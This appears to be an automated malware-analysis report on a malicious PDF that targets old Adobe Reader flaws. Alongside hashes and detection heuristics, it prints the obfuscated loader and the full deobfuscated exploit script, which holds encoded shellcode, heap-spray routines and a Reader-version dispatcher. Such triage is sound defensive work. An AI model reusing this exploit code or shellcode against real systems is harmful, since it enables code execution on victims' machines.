Malicious PDF — malware analysis report

Static analysis result for SHA-256 b8281fc3efb21a2e…

MALICIOUS

PDF

79.2 KB Authoring application: ring.fromChar First seen: 2012-10-23
MD5: 69181cd1998f2a991a9ee99aab9523b6 SHA-1: c389fc760f41efa61e7399344ba29825a0c9cb64 SHA-256: b8281fc3efb21a2edd9997fdc01ebe479d3dca55221bab5048396690f0f81c37
408 Risk Score

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 9

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0x13A6D 394 bytes
SHA-256: 7d241a940c967240c9619d9d78a010484a3359f8d5991a8d92beb884d3e1e34c
Preview script
First 1,000 lines of the extracted script
var l = 'qweqwe'.substr;
var g = l();
t='le';
a=["a","e","k","l","b","z","v"];
e=g[a[1]+a[6]+a[0]+a[3]];
var padmz="";
peqfc='his';
czrrb='tit';
e('saua=t'+peqfc+"."+czrrb+t);
t='cer'
jif='rodu';
e('kixyj=t'+peqfc+".p"+jif+t);
khm=e('St'+kixyj+'Code');
qwl = e(saua);
e('k=qwl.length');
for (i = 0; i < k; i+=2) {
	myp = qwl[i] + qwl[i+1];
	padmz += khm(myp);
}
e(padmz);
legacy_pdfkit_stage_000.js deobfuscated-js metadata Title array pair-sum decoded JavaScript at offset 0x52 3654 bytes
SHA-256: 5b1f86e9d597cedb3296fd3857f533952db1e141f46d0f883734a0a41f9459cc
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var bjsg='%u9090%u9090%u16eb%u3db9%u0001%u8b00%u2434%uf789%u3e80%u74e9%uac06%u8d34%ue2aa%uc3fa%ue5e8%uffff%u64ff%u8c81%u8d8d%u0cd3%ud161%u8d8c%u048d%u006a%u9dc2%ue200%ubcd9%uda56%udedc%udede%udede%udede%uded8%ue5de%u8c89%u8d8d%udbd8%ue5de%ue3e2%u8d8d%uf8e5%ue1ff%ud9e0%u03e5%u83c3%u6561%u8dc5%u8d8d%u65dd%u8df1%u8d8d%u5d72%u490e%ue585%u62c2%u88c2%u65dd%u8de1%u8d8d%u5d72%u4d08%u9af8%ud9e7%u7ed4%ue527%u73ff%u9b3e%u9065%u8d8d%udd8d%udc65%u8d8d%u728d%ude5d%u73e7%u04e5%u8ce2%u6530%u8d85%u8d8d%u65dd%u8db1%u8d8d%u5d72%ubced%ue94d%udd06%u06bd%u81df%udf06%u0699%ua5ff%u9534%u8d8d%ubc8d%ubc72%u214d%uecb1%u8ff1%uada1%u424c%u8c80%u6f4a%u0c7d%ud672%uc731%u06e7%u9dcf%u9f06%u54f8%uc904%u91a9%u4eec%u06ed%ua9e1%u06a9%ub1c8%ud906%uf588%u678c%uc706%u0695%uadd7%u668c%ub96e%u06c4%u06b9%u638c%u72bc%u4dbc%u2171%u4d09%u8af9%u424c%u8c80%u664a%ub679%ua9f1%uf8a5%u066c%ua9d7%u668c%u06eb%uc681%ud706%u8c91%u0666%u0689%u658c%uc904%u91a9%u4fec%u8d85%u6265%u7273%ue572%uf9f9%ub7fd%ua2a2%uf8e8%ue3fb%uecfb%ufee6%ufae2%ueea3%ua3f7%ueeee%ue6a2%ufda3%ufde5%uebb2%ubcb0%uabb5%ub0e8%u8db8';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}
ra=ra.substring(0,qy/2);return ra;} 
function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} 
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;} 
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});} 
function printf(){nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A");var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape("%u0A0A%u0A0A");headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} 
fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} 
mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} 
var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("%45000f",num);} 
function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} 
var tUMhNbGw=unescape("%09");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} 
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} 
aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} 
if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}
var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} 
if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}
d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}
a();a();try{this.media.newPlayer(null);}catch(e){}
a();}}

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